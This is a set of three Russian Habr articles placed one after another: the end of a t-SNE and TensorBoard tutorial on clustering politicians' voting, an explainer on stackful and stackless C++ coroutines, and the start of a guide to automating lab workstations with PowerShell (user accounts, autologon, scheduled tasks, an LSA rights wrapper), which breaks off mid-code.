На этом этапе у нас есть 450 векторов с размерностью 64. Это уже очень хороший результат, но недостаточный, чтобы отдать человеку. По этой причине “идем глубже”. Будем использовать подходы PCA и [t-SNA](http://octadero.com/event.php?p=https%3A%2F%2Fdistill.pub%2F2016%2Fmisread-tsne%2F) понижения размерности. Про метод главных компонентов (principal component analysis, PCA) написано много статей, поэтому на его разборе останавливаться я не буду, а вот про t-SNA подход мне бы хотелось рассказать.
Оригинальный документ [Visualizing data using t-SNE содержит детальное описание алгоритма](http://octadero.com/event.php?p=http%3A%2F%2Fwww.jmlr.org%2Fpapers%2Fvolume9%2Fvandermaaten08a%2Fvandermaaten08a.pdf), для примера я рассмотрю вариант понижения двухмерной размерности в одномерную.
Имея двухмерное пространство и три класса A, B, C расположенные в этом пространстве, попробуем просто спроецировать классы на одну из осей:
В результате ни одна ось не может дать нам полной картины исходных классов. Классы “смешиваются”, а значит теряют свои природные свойства.
Наша задача — разместить элементы в нашем конечном пространстве пропорционально удаленно (приближенно) к тому, как они были размещены в исходном пространстве. То есть те, что находились близко друг к другу так и должны быть ближе, нежеле те, что располагались на удалении.
#### Stochastic Neighbor Embedding
Выразим изначальное отношение между точками в первоначальном пространстве как расстояние в эвклидовом пространстве между точками , :
 и соответственно  для точек в искомом пространстве.
Определим условную вероятность сходства (conditional probabilities that represent similarities) точек в исходном пространстве:
Это выражение характеризует, насколько близка точка  к точке  при условии, что расстояние до ближайших точек класса мы характеризуем как гауссовое распределение вокруг  с заданной дисперсией  (центрированное на точке ). Дисперсия уникальна для каждой точки и рассчитывается отдельно исходя из того, что точки с большей плотностью имеют меньшую дисперсию.
Далее описываем сходство точки  с точкой  в новом пространстве соответственно:
Опять же, поскольку нас интересует только моделирование парных сходств, положим .
Если точки отображения  и  правильно моделируют сходство между высокоразмерными точками данных  и , условные вероятности  и  будут равны. Мотивированный этим наблюдением, SNE стремится найти низкоразмерное представление данных, которое минимизирует несоответствие между  и .
Алгоритм находит значения дисперсии  для гауссова распределения в каждой конкретной точки . Маловероятно, что существует одно значение , которое является оптимальным для всех точек в наборе данных, поскольку плотность данных может изменяться. В плотных областях меньшее значение  обычно более уместно, чем в более разреженных областях. SNE при помощи бинарного поиска подбирает .
Поиск происходит при учете меры эффективных соседей (параметра перплексии) которые будут приняты во внимание при расчете .
Авторы алгоритма находят пример в физике, описывая данный алгоритм как связку объектов различными пружинами, которые способны притягивать и отталкивать от себя другие объекты. Оставив систему на некое время, она самостоятельно найдет точку покоя, сбалансировав натяжение всех пружин.
#### t-Distributed Stochastic Neighbor Embedding
Отличие SNE от t-SNE алгоритма заключается в замене гауссова распределения на Распределение Стьюдента (оно же t-Distribution, t-Student distribution) и изменении функции ошибки на симметризированную.
Таким образом, алгоритм сперва размещает все исходные объекты в пространстве меньшей размерности. После начинает перемещать объект за объектом, опираясь на то, как далеко (близко) они находились к другим объектам в исходном пространстве.
#### TensorFlow, TensorBoard и Projector
Сегодня нет необходимости реализовывать подобные алгоритмы самостоятельно. Мы можем воспользоваться уже готовыми математическими пакетами *scikit*, *matlab* или *TensorFlow*.
[Я писал в предыдущей статье](http://octadero.com/event.php?p=https%3A%2F%2Fwww.octadero.com%2F2017%2F12%2F01%2Fvisualizing-neural-network-exercising-with-means-of-tensorflowkit%2F), что в набор инструментов TensorFlow входит пакет для визуализации данных и процесса обучения TensorBoard.
Так что воспользуемся именно этим решением.
```
import os
import numpy as np
import tensorflow as tf
from tensorflow.contrib.tensorboard.plugins import projector
# Create randomly initialized embedding weights which will be trained.
first_D = 23998 # Number of items (size).
second_D = 11999 # Number of items (size).
DATA_DIR = ''
LOG_DIR = DATA_DIR + 'embedding/'
first_rada_input = np.loadtxt(DATA_DIR + 'result_' + str(first_D) + '/rada_full_packed.tsv', delimiter='\t')
second_rada_input = np.loadtxt(DATA_DIR + 'result_' + str(second_D) + '/rada_full_packed.tsv', delimiter='\t')
first_embedding_var = tf.Variable(first_rada_input, name='politicians_embedding_' + str(first_D))
second_embedding_var = tf.Variable(second_rada_input, name='politicians_embedding_' + str(second_D))
saver = tf.train.Saver()
with tf.Session() as session:
session.run(tf.global_variables_initializer())
saver.save(session, os.path.join(LOG_DIR, "model.ckpt"), 0)
config = projector.ProjectorConfig()
# You can add multiple embeddings. Here we add only one.
first_embedding = config.embeddings.add()
second_embedding = config.embeddings.add()
first_embedding.tensor_name = first_embedding_var.name
second_embedding.tensor_name = second_embedding_var.name
# Link this tensor to its metadata file (e.g. labels).
first_embedding.metadata_path = os.path.join(DATA_DIR, '../rada_full_packed_labels.tsv')
second_embedding.metadata_path = os.path.join(DATA_DIR, '../rada_full_packed_labels.tsv')
first_embedding.bookmarks_path = = os.path.join(DATA_DIR, '../result_23998/bookmarks.txt')
second_embedding.bookmarks_path = = os.path.join(DATA_DIR, '../result_11999/bookmarks.txt')
# Use the same LOG_DIR where you stored your checkpoint.
summary_writer = tf.summary.FileWriter(LOG_DIR)
# The next line writes a projector_config.pbtxt in the LOG_DIR. TensorBoard will
# read this file during startup.
projector.visualize_embeddings(summary_writer, config)
```
[Результат можно посмотреть на моем TensorBoard Projector.](http://octadero.com/event.php?p=http%3A%2F%2Fprojector.tensorflow.org%2F%3Fconfig%3Dhttps%3A%2F%2Fgist.githubusercontent.com%2FVolodymyrPavliukevych%2Ffe9d724a2d47085798dce306b22a377f%2Fraw%2F749c9e066c2fe5f7b1decb062c00803f3b72f6da%2Frada_full_packed_projector_config.json)
1. Работает в Chrome.
2. Открываем и нажимаем на **Bookmarks** в нижнем правом углу.
3. В верхнем правом углу можем фильтровать классы.
4. Ниже GIF картинки с примерами.
**GIF картинки большего размера.**
Так же сейчас доступен целый портал — [projector](http://octadero.com/event.php?p=http%3A%2F%2Fprojector.tensorflow.org), позволяющий визуализировать имеющийся у вас датасет непосредственно на сервере Google.
1. Заходим на сайт projector
2. Нажимаем “Load data”
3. Выбираем наш датасет с векторами
4. Добавляем собранные заранее метаданные: labels, classes и тд.
5. Подключаем цветовую дифференциацию (color map) по одному из столбцов.
6. При желании добавляем json config файл и публикуем данные для публичного просмотра.
Осталось отправить ссылку вашему аналитику.
Для тех кто интересуется предметной областью, будет интересно посмотреть на различные срезы, например распределение в голосованиях политиков из различных областей.
* Кучность голосования отдельных партий.
* Распределенность (размазанность) голосования политиков из одной партии.
* Схожесть голосования политиков из различных партий.
#### Выводы
* Автоэнкодеры — семейство относительно простых алгоритмов, которое дает на удивление быстрый и хороший результат сходимости.
* Автоматическая кластеризация не является ответом на вопрос о природе исходных данных, она требует дополнительной аналитики, но зато дает достаточно быстрый и наглядный вектор, в котором можно начать работать с вашими данными.
* TensorFlow и TensorBoard мощные и быстро развивающиеся инструменты машинного обучения позволяющие решать задачи различной сложности. | https://habr.com/ru/post/349048/ | null | ru | null |
# Подробно о корутинах в C++
Здравствуйте, коллеги.
В рамках проработки темы С++20 нам в свое время попалась уже довольно старенькая (сентябрь 2018) статья из хаброблога «Яндекса», которая называется "[Готовимся к С++20. Coroutines TS на реальном примере](https://habr.com/ru/company/yandex/blog/420861/)". Заканчивается она следующей весьма выразительной голосовалкой:
«Почему бы и нет», — решили мы и перевели статью Давида Пиларски (Dawid Pilarski) под названием «Coroutines introduction». Статья вышла чуть более года назад, но, надеемся, все равно покажется вам очень интересной.
Итак, свершилось. После долгих сомнений, споров и подготовки этой фичи WG21 пришел к общему мнению о том, как должны выглядеть корутины в С++ — и весьма вероятно, что они войдут в C++ 20. Поскольку это крупная фича, думаю, пора готовиться и изучать ее уже сейчас (как помните, предстоит учить еще модули, концепции, диапазоны…)
Очень многие до сих пор выступают против корутин. Зачастую жалуются на сложность их освоения, множество точек кастомизации и, возможно, неоптимальной производительности из-за, возможно, недооптимизированного выделения динамической памяти (возможно ;)).
Параллельно с разработкой одобренных (официально опубликованных) технических спецификаций (ТС) даже предпринимались попытки параллельной разработки другого механизма корутин. Здесь мы поговорим именно о тех корутинах, которые описаны в TS ([технической спецификации](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2018/n4760.pdf)). Альтернативный подход, в свою очередь, принадлежит Google. В итоге оказалось, что и подход Google страдает от многочисленных проблем, для решения которых зачастую требуются странные дополнительные возможности C++.
В конце концов, было решено принять версию корутин, разработанных Microsoft (авторами TS). Именно о таких корутинах и пойдет речь в этой статье. Итак, начнем с вопроса о том…
#### Что такое корутины?
Корутины уже существуют во многих языках программирования, например, в Python или C#. Корутины – это еще один способ создания асинхронного кода. Чем они отличаются от потоков, почему корутины должны быть реализованы как выделенная языковая возможность и, наконец, какая от них польза – будет объяснено в этом разделе.
Существует серьезное недополнимание относительно того, что такое корутины. В зависимости от того, в какой среде они используются, их могут называть:
* Бесстековые корутины
* Стековые корутины
* Зеленые потоки
* Волокна
* Горутины
Хорошая новость: стековые корутины, зеленые потоки, волокна и горутины суть одно и то же (но используются они иногда по-разному). О них мы поговорим ниже в этой статье и будем называть их волокнами или стековыми корутинами. Но у бесстековых корутин есть некоторые особенности, о которых необходимо поговорить отдельно.
Чтобы понять корутины, в том числе, и на интуитивном уровне, давайте кратко познакомимся с функциями и (позволим себе такое выражение) “их API”. Стандартный способ работы с ними – вызвать и дожидаться, пока она завершится:
```
void foo(){
return; // здесь мы выходим из функции
}
foo(); // здесь мы вызываем/запускаем функцию
```
После вызова функцию уже невозможно приостановить, или возобновить ее работу. Над функциями можно производить всего две операции: `start` и `finish`. Когда функция запущена, необходимо дожидаться, пока она завершится. Если функция будет вызвана повторно, то ее выполнение пойдет с самого начала.
С корутинами ситуация иная. Их можно не только запускать и останавливать, но также приостанавливать и возобновлять. Они все равно отличаются от потоков ядра, поскольку сами по себе корутины не являются вытесняющими (с другой стороны, корутины обычно относятся к потоку, а поток является вытесняющим). Чтобы разобраться в этом, рассмотрим генератор, определенный на Python. Пусть в Python такая штука и называется генератором, в языке C++ она называлась бы корутиной. Пример взят с этого [сайта](http://masnun.com/2015/11/13/python-generators-coroutines-native-coroutines-and-async-await.html):
```
def generate_nums():
num = 0
while True:
yield num
num = num + 1
nums = generate_nums()
for x in nums:
print(x)
if x > 9:
break
```
Вот как работает этот код: вызов функции `generate_nums` приводит к созданию объекта корутины. На каждом этапе перебора объекта корутины, сама корутина возобновляет работу и приостанавливает ее только после ключевого слова `yield` в коде; тогда же возвращается следующее целое число из последовательности (цикл for представляет собой синтаксический сахар для вызова функции `next()`, возобновляющей корутину). Код завершает цикл, встретив инструкцию break. В данном случае корутина не заканчивается никогда, но легко представить ситуацию, в которой корутина достигает конца и завершается. Как видим, к такой корутине применимы операции `start`, `suspend`, `resume` и, наконец, `finish`. [Замечание: в языке C++ также предусмотрены операции создания и разрушения, но они не важны в контексте интуитивного понимания корутины].
#### Корутины как библиотека
Итак, теперь примерно понятно, что представляют из себя корутины. Возможно, вам известно, что существуют библиотеки для создания объектов-волокон. Вопрос в том, зачем нам корутины в виде выделенной языковой возможности, а не просто библиотеки, которая обеспечивала бы работу с корутинами.
Здесь мы пытаемся ответить на этот вопрос и продемонстрировать разницу между стековыми и бесстековыми корутинами. Эта разница имеет ключевое значение для понимания корутин как части языка.
#### Стековые корутины
Итак, давайте сначала обсудим, что такое стековые корутины, как они работают, и почему их можно реализовать как библиотеку. Объяснить их сравнительно просто, поскольку по устройству они напоминают потоки.
У волокон или стековых корутин есть отдельный стек, который может использоваться для обработки вызовов функций. Чтобы понять, как именно работают корутины такого рода, кратко рассмотрим фреймы функций и вызовы функций с низкоуровневой точки зрения. Но сначала давайте поговорим о свойствах волокон.
* У них есть собственный стек,
* Время жизни волокон не зависит от кода, который их вызывает (обычно у них есть планировщик, определяемый пользователем),
* Волокна можно откреплять от одного потока и прикреплять к другому,
* Кооперативное планирование (волокно должно принимать решение о переключении на другое волокно/планировщик),
* Не могут работать одновременно в одном и том же потоке.
Из вышеупомянутых свойств проистекают такие следствия:
* переключение контекста волокон должно осуществляться самим пользователем волокон, а не ОС (кроме того, ОС может отпустить волокно, отпустив тот поток, в котором оно работает),
* Не возникает никакой реальной гонки данных между двумя волокнами, поскольку в любой момент времени активно может быть лишь одно из них,
* Разработчик волокон должен уметь правильно выбирать место и время, где и когда уместно возвращать вычислительные мощности возможному планировщику или вызывающей стороне.
* Операции ввода/вывода в волокне должны быть асинхронными, так, чтобы другие волокна могли выполнять свои задачи, не блокируя друг друга.
Теперь давайте детально разберемся в работе волокон и для начала объясним, как стек участвует в вызовах функций.
Итак, стек – это непрерывный блок памяти, нужный для хранения локальных переменных и аргументов функций. Но, что еще важнее, после каждого вызова функции (за немногими исключениями) в стек помещается дополнительная информация, сообщающая вызванной функции, как возвратиться к вызывающей стороне и восстановить регистры процессора.
У некоторых из этих регистров есть особые назначения, и при вызовах функций они сохраняются в стеке. Вот какие это регистры (в случае архитектуры ARM):
SP – указатель стека
LR – регистр связи
PC – счетчик программ
**Указатель стека** (SP) – это регистр, в котором содержится адрес начала стека, относящегося к текущему вызову функции. Благодаря имеющемуся значению, можно без труда ссылаться на аргументы и локальные переменные, сохраняемые в стеке.
**Регистр связи** (LR) очень важен при вызовах функций. В нем хранится адрес возврата (адрес вызывающей стороны), где должен будет выполняться код после того, как выполнение текущей функции завершится. При вызове функции PC сохраняется в LR. При возврате функции PC восстанавливается при помощи LR.
**Счетчик программ** (PC) – это адрес инструкции, выполняемой в данный момент.
Всякий раз при вызове функции список связей сохраняется, так что функции известно, куда должна вернуться программа после того как она завершится.
*Поведение регистров PC и LR при вызове и возврате функции*
При выполнении стековой корутины вызванные функции используют ранее выделенный стек для хранения ее аргументов и локальных переменных. Поскольку вся информация по каждой функции, вызываемой в стековой корутине, хранится в стеке, волокно может приостановить выполнение любой функции в рамках этой корутины.
Давайте теперь разберемся, что происходит на этой картинке. Во-первых, у каждого из волокон и потоков – свой отдельный стек. Зеленым цветом обозначены порядковые номера, указывающие, в какой последовательности происходят действия.
1. Обычный вызов функции внутри потока. Выделение памяти производится в стеке.
2. **Функция создает объект волокна**. В результате выделяется стек под волокно. Создание волокна еще не означает, что оно сразу же будет выполнено. Также выделяется фрейм активации. Данные во фрейме активации заданы таким образом, что сохранение его содержимого в регистры процессора приведет к переключению контекста на стек волокна.
3. Обычный вызов функции.
4. **Вызов корутины**. Для регистров процессора задается контент фрейма активации.
5. Обычный вызов функции внутри корутины.
6. Обычный вызов функции внутри корутины.
7. **Корутина приостанавливается**. Содержимое фрейма активации обновляется, и устанавливаются регистры процессора, так, что контекст возвращается к стеку потока.
8. Обычный вызов функции внутри потока.
9. Обычный вызов функции внутри потока.
10. **Возобновление корутины** – происходит примерно то же самое, что и при вызове корутины.
11. Фрейм активации запоминает состояние тех регистров процессора внутри корутины, которые были установлены при приостановке корутины.
12. Обычный вызов функции внутри корутины. Фрейм функции выделяется в стеке корутины.
13. Ситуация на картинке показана в несколько упрощенном виде. Теперь происходит вот что: работа корутины заканчивается, и весь стек раскручивается. Однако, на самом деле возврат из корутины происходит через нижнюю (а не верхнюю) функцию.
14. Обычный возврат функции, как и выше.
15. Обычный возврат функции.
16. **Возврат корутины**. Стек корутины пуст. Контекст переключается обратно к потоку. Начиная с этого момента, работа волокна не может быть возобновлена.
17. Обычный вызов функции в контексте потока.
18. Позже функции могут продолжать работу или завершаться, так, что раскрутка стека полностью завершится.
При работе со стековыми корутинами нет необходимости в выделенной языковой возможности, которая обеспечивала бы их использование. Целые стековые корутины вполне можно реализовать при помощи библиотек, и уже существуют библиотеки, предназначенные специально для этого:
[swtch.com/libtask](https://swtch.com/libtask/)
[code.google.com/archive/p/libconcurrency](https://code.google.com/archive/p/libconcurrency/)
[www.boost.org](https://www.boost.org) Boost.Fiber
[www.boost.org](https://www.boost.org) Boost.Coroutine
Из всех этих библиотек только Boost относится к C++, а все остальные — к C.
Подробное описание работы этих библиотек приводится в документации. Но, в целом, все эти библиотеки позволяют создать отдельный стек для волокна и предоставляют возможность возобновить корутину (по инициативе вызывающей стороны) и приостановить ее (изнутри).
Рассмотрим пример `Boost.Fiber`:
```
#include
#include
#include
#include
#include
#include
#include
inline
void fn( std::string const& str, int n) {
for ( int i = 0; i < n; ++i) {
std::cout << i << ": " << str << std::endl;
boost::this\_fiber::yield();
}
}
int main() {
try {
boost::fibers::fiber f1( fn, "abc", 5);
std::cerr << "f1 : " << f1.get\_id() << std::endl;
f1.join();
std::cout << "done." << std::endl;
return EXIT\_SUCCESS;
} catch ( std::exception const& e) {
std::cerr << "exception: " << e.what() << std::endl;
} catch (...) {
std::cerr << "unhandled exception" << std::endl;
}
return EXIT\_FAILURE;
}
```
В случае **Boost.Fiber** в библиотеке есть встроенный планировщик для корутин. Все волокна выполняются в одном и том же потоке. Поскольку планирование корутин является кооперативным, волокно сначала должно определиться с тем, когда возвращать контроль планировщику. В данном примере это происходит при вызове функции yield, которая приостанавливает корутину.
Поскольку другого волокна нет, планировщик волокон всегда решает возобновить работу корутины.
#### Бесстековые корутины
Бесстековые корутины немного отличаются по свойствам от стековых. Однако, основные характеристики у них те же, поскольку бесстековые корутины так же можно запускать, а после их приостановки – возобновлять. Корутины именно такого типа мы, скорее всего, найдем в C++20.
Если говорить о схожих свойствах корутин – корутины могут:
* Корутина тесно связана со своей вызывающей стороной: при вызове корутины исполнение передается ей, а итог работы корутины передается обратно вызывающей стороне.
* Длительность жизни стековой корутины равна жизни ее стека. Длительность жизни бесстековой корутины равна жизни ее объекта.
Однако, в случае бесстековых корутин нет необходимости выделять целый стек. Они потребляют гораздо меньше памяти, чем стековые, но именно этим и обусловлены некоторые их ограничения.
Начнем с того, что, если они не выделяют память для стека, то как же они работают? Куда в их случае идут все данные, которые при работе со стековыми корутинами должны храниться в стеке. Ответ: в стеке вызывающей стороны.
Секрет бесстековых корутин заключается в том, что они могут приостанавливать себя только из самой верхней функции. Для всех остальных функций их данные располагаются в стеке вызываемой стороны, поэтому все функции, вызванные из корутины должны завершиться до того, как работа корутины будет приостановлена. Все данные, необходимые корутине для сохранения ее состояния, динамически выделяются в куче. Обычно для этого требуется пара локальных переменных и аргументов, которые гораздо компактнее, чем целый стек, который пришлось бы выделять заранее.
Взгляните, как работают бесстековые корутины:
*Вызов бесстековой корутины*
Как видим, теперь стек всего один – это главный стек потока. Давайте пошагово разберем, что показано на этой картинке (фрейм активации корутины здесь двухцветный – черным показано, что сохранено в стеке, а синим – что сохранено в куче).
1. Обычный вызов функции, чей фрейм сохраняется в стеке
2. **Функция создает корутину**. То есть, выделяет для нее фрейм активации где-нибудь в куче.
3. Обычный вызов функции.
4. **Вызов корутины**. Тело корутины выделяется в обычном стеке. Программа выполняется таким же образом, как и в случае обычной функции.
5. Обычный вызов функции из корутины. Опять же, все по-прежнему происходит в стеке [Примечание: из этой точки корутину приостановить нельзя, поскольку это не самая верхняя функция в корутине]
6. Функция возвращается к самой верхней функции корутины [Примечание: теперь корутина может приостановить себя.]
7. Корутина приостанавливается – все данные, которые нужно было сохранить из всех вызовов корутин, теперь записываются во фрейм активации.
8. Обычный вызов функции
9. **Корутина возобновляет работу** – это происходит как обычный вызов функции, но с прыжком к предыдущей точке приостановки + восстановлением переменных из фрейма активации.
10. Вызов функции как в пункте 5.
11. Возврат функции как в пункте 6.
12. **Возврат корутины**. С этого момента возобновить работу корутины уже невозможно.
Итак, очевидно, что во втором случае требуется запоминать гораздо меньше данных для всех операций приостановки и возобновления работы корутин, однако корутина может возобновлять и приостанавливать только сама себя, причем, только из самой верхней функции. Все вызовы функций и корутин происходят одинаково, однако, между вызовами требуется сохранять некоторые дополнительные данные, а функция должна уметь перепрыгивать к точке приостановки и восстанавливать состояние локальных переменных. Никаких других отличий между фреймом корутины и фреймом функции нет.
Корутина также может вызывать другие корутины (в данном примере это не показано). В случае с бесстековыми корутинами каждый вызов приводит к выделению нового пространства для новых данных корутин (при многократном вызове корутины динамическая память также может выделяться по несколько раз).
Причина, по которой для корутин необходимо предусмотреть выделенную языковую возможность – в том, что компилятору требуется решать, какие переменные описывают состояние корутины, и создавать стереотипный код для перепрыгивания к точкам приостановки.
#### Практическое применение корутин
Корутины в C++ могут использоваться такими же способами, как и в других языках. Корутины позволят упростить написание:
* генераторов
* асинхронного кода ввода/вывода
* ленивых вычислений
* событийно-ориентированных приложений
#### Итоги
Надеюсь, что, прочитав эту статью, вы узнали:
* почему в C++ требуется реализовать корутины в виде выделенной языковой возможности
* в чем разница между стековыми и бесстековыми корутинами
* зачем нужны корутины | https://habr.com/ru/post/491996/ | null | ru | null |
# Автоматизация обслуживания компьютерного класса на Powershell
Вот уже несколько лет занимаюсь в университете поддержкой 10 рабочих станций под управлением ОС Microsoft Windows 8.1. В основном поддержка заключается в установке нужного для учебного процесса ПО и обеспечении общей работоспособности.
На каждой станции есть 2 пользователя: Администратор и Студент. Администратору доступно полное управление, у Студента нет возможности установки ПО. Чтобы не утруждать себя чисткой пользователя Студент, эта учетка просто удаляется целиком и создается заново. Это влечет за собой некоторые телодвижения, которые нужно выполнять на каждой станции.
В этом году решил автоматизировать большую часть телодвижений c помощью PowerShell без ActiveDirectory и собрал в этот пост некоторые рецепты, которые отыскал в сети.
Подготовка
----------
Сразу же столкнулся с тем, что на станциях установлен PS 4 и некоторые примеры из всезнающего Интернета не работали. Поэтому, прежде, чем запускать получившиеся скрипты, нужно выполнить пару действий:
1. Установить [Windows Management Framework 5.1](https://docs.microsoft.com/ru-ru/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7#upgrading-existing-windows-powershell)
2. Установить последнюю верисию [PowerShell](https://github.com/PowerShell/PowerShell/releases)
Автоматизируемые действия
-------------------------
1. Удаление/создание учетной записи пользователя
2. Автовход заданного пользователя
3. Запуск скрипта при первом входе пользователя
### Удаление/создание учетной записи пользователя
Начал с создания. В этом случае требуется выполнить 2 действия: создать пользователя ([New-LocalUser](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/new-localuser?view=powershell-5.1&viewFallbackFrom=powershell-7.1)) и добавить его в группу ([Add-LocalGroupMember)](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localgroupmember?view=powershell-5.1&viewFallbackFrom=powershell-7.1). Для удобства объединил эти команды в функцию:
```
Function New-User {
<#
.SYNOPSIS
Создание нового пользователя
.DESCRIPTION
Данная функция создает нового пользователя и добавляет его в группу Пользователи
.EXAMPLE
#New-User "Student" "Student"
.PARAMETER Name
Имя нового пользователя (обязательный параметр)
.PARAMETER Password
Пароль (обязательный параметр)
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Name,
[PARAMETER(Mandatory=$True)][String]$Password
)
$Pwd = convertto-securestring $Password -asplaintext -force
$GroupSID = "S-1-5-32-545"
New-LocalUser -User $Name -AccountNeverExpires:$true -FullName $Name -Password $Pwd -PasswordNeverExpires:$true
Add-LocalGroupMember -SID $GroupSID -Member $Name
Write-Host "-- Создан пользователь $Name с паролем $Password" -foregroundcolor Green
}
```
В группу добавляю по SID, потому что в одной из статей встретил, что SID группы Пользователи везде одинаковый — S-1-5-32-545.
Удаление организовал по следующему принципу: удалить все учетные записи, которые были созданы Администратором. Для этого с помощью WMI объекта класса Win32\_UserProfile определяю всех пользователей, которые в данный момент не активны и не являются специальными.
```
Function Remove-Users {
<#
.SYNOPSIS
Удаление пользователей
.DESCRIPTION
Данная функция удаляет пользователей, которые сейчас не активны и не являются специальными
Удаляются в том числе рабочий каталог и реестр пользователей
.EXAMPLE
#Remove-Users
#>
[CmdletBinding()]
$UsersProfiles = Get-WMIObject -class Win32_UserProfile -ComputerName $env:COMPUTERNAME | Where {!($_.Loaded) -and !($_.Special)}
foreach($Usr in $UsersProfiles) {
$UsrName = $Usr.LocalPath.Split("\")[2]
Write-Host "-- Удаление пользователя $UsrName ..." -foregroundcolor Green
Remove-LocalUser -Name $UsrName
Remove-WmiObject -Path $Usr.__PATH
Write-Host "-- Пользователь $UsrName удален" -foregroundcolor Green
}
}
```
### Автовход (автологин) заданного пользователя
Здесь все ограничилось изменением реестра HKEY\_LOCAL\_MACHINE. Эти действия также объединил в не большую функцию:
```
Function Set-AutoLogon {
<#
.SYNOPSIS
Включение автовхода для пользователя
.DESCRIPTION
Данная функция включает автовход для указанного пользователя
.EXAMPLE
#Set-AutoLogon "Student" "Student"
.PARAMETER Name
Имя пользователя (обязательный параметр)
.PARAMETER Password
Пароль (обязательный параметр)
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Name,
[PARAMETER(Mandatory=$True)][String]$Password
)
$PathToWinlogon = "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
New-ItemProperty -Path $PathToWinlogon -Name AutoAdminLogon -Value 1 -PropertyType "String"
New-ItemProperty -Path $PathToWinlogon -Name DefaultUserName -Value $Name -PropertyType "String"
New-ItemProperty -Path $PathToWinlogon -Name DefaultPassword -Value $Password -PropertyType "String"
}
```
### Запуск скрипта при первом входе пользователя
Оказалось, что не все можно настроить до первого входа нового пользователя (что было для меня несколько удивительно). Поэтому возникла потребность запустить скрипт, который выполняет некоторые действия после первого входа:
1. Настройка прокси
2. Запрет создания файлов на рабочем столе
3. Настройка панели управления пользователя
Я попробовал несколько способов, но рабочим для меня оказался следующий: установить таск. Но таск средствами PS мне не удалось завести. Поэтому пошел длинной тропинкой:
```
schtasks /create /tn LogonUserSettings /tr "pwsh C:\Scripts\Settings.ps1" /sc onlogon /ru $env:USERDOMAIN\$UserName /rp $Password /f
```
Но этого оказалось не достаточно — Windows запросила разрешить вход в качестве пакетного задания (SeBatchLogonRight). Поиски ответа на вопрос как это сделать привели к такому [результату](https://stackoverflow.com/a/10188472):
**LsaWrapper**
```
$Source = @'
using System;
using System.Collections.Generic;
using System.Text;
namespace MyLsaWrapper
{
using System.Runtime.InteropServices;
using System.Security;
using System.Management;
using System.Runtime.CompilerServices;
using System.ComponentModel;
using LSA_HANDLE = IntPtr;
[StructLayout(LayoutKind.Sequential)]
struct LSA_OBJECT_ATTRIBUTES
{
internal int Length;
internal IntPtr RootDirectory;
internal IntPtr ObjectName;
internal int Attributes;
internal IntPtr SecurityDescriptor;
internal IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct LSA_UNICODE_STRING
{
internal ushort Length;
internal ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
internal string Buffer;
}
sealed class Win32Sec
{
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true),
SuppressUnmanagedCodeSecurityAttribute]
internal static extern uint LsaOpenPolicy(
LSA_UNICODE_STRING[] SystemName,
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
int AccessMask,
out IntPtr PolicyHandle
);
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true),
SuppressUnmanagedCodeSecurityAttribute]
internal static extern uint LsaAddAccountRights(
LSA_HANDLE PolicyHandle,
IntPtr pSID,
LSA_UNICODE_STRING[] UserRights,
int CountOfRights
);
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true),
SuppressUnmanagedCodeSecurityAttribute]
internal static extern int LsaLookupNames2(
LSA_HANDLE PolicyHandle,
uint Flags,
uint Count,
LSA_UNICODE_STRING[] Names,
ref IntPtr ReferencedDomains,
ref IntPtr Sids
);
[DllImport("advapi32")]
internal static extern int LsaNtStatusToWinError(int NTSTATUS);
[DllImport("advapi32")]
internal static extern int LsaClose(IntPtr PolicyHandle);
[DllImport("advapi32")]
internal static extern int LsaFreeMemory(IntPtr Buffer);
}
///
/// This class is used to grant "Log on as a service", "Log on as a batchjob", "Log on localy" etc.
/// to a user.
///
public sealed class LsaWrapper : IDisposable
{
[StructLayout(LayoutKind.Sequential)]
struct LSA_TRUST_INFORMATION
{
internal LSA_UNICODE_STRING Name;
internal IntPtr Sid;
}
[StructLayout(LayoutKind.Sequential)]
struct LSA_TRANSLATED_SID2
{
internal SidNameUse Use;
internal IntPtr Sid;
internal int DomainIndex;
uint Flags;
}
[StructLayout(LayoutKind.Sequential)]
struct LSA_REFERENCED_DOMAIN_LIST
{
internal uint Entries;
internal LSA_TRUST_INFORMATION Domains;
}
enum SidNameUse : int
{
User = 1,
Group = 2,
Domain = 3,
Alias = 4,
KnownGroup = 5,
DeletedAccount = 6,
Invalid = 7,
Unknown = 8,
Computer = 9
}
enum Access : int
{
POLICY_READ = 0x20006,
POLICY_ALL_ACCESS = 0x00F0FFF,
POLICY_EXECUTE = 0X20801,
POLICY_WRITE = 0X207F8
}
const uint STATUS_ACCESS_DENIED = 0xc0000022;
const uint STATUS_INSUFFICIENT_RESOURCES = 0xc000009a;
const uint STATUS_NO_MEMORY = 0xc0000017;
IntPtr lsaHandle;
public LsaWrapper()
: this(null)
{ }
// // local system if systemName is null
public LsaWrapper(string systemName)
{
LSA_OBJECT_ATTRIBUTES lsaAttr;
lsaAttr.RootDirectory = IntPtr.Zero;
lsaAttr.ObjectName = IntPtr.Zero;
lsaAttr.Attributes = 0;
lsaAttr.SecurityDescriptor = IntPtr.Zero;
lsaAttr.SecurityQualityOfService = IntPtr.Zero;
lsaAttr.Length = Marshal.SizeOf(typeof(LSA_OBJECT_ATTRIBUTES));
lsaHandle = IntPtr.Zero;
LSA_UNICODE_STRING[] system = null;
if (systemName != null)
{
system = new LSA_UNICODE_STRING[1];
system[0] = InitLsaString(systemName);
}
uint ret = Win32Sec.LsaOpenPolicy(system, ref lsaAttr,
(int)Access.POLICY_ALL_ACCESS, out lsaHandle);
if (ret == 0)
return;
if (ret == STATUS_ACCESS_DENIED)
{
throw new UnauthorizedAccessException();
}
if ((ret == STATUS_INSUFFICIENT_RESOURCES) || (ret == STATUS_NO_MEMORY))
{
throw new OutOfMemoryException();
}
throw new Win32Exception(Win32Sec.LsaNtStatusToWinError((int)ret));
}
public void AddPrivileges(string account, string privilege)
{
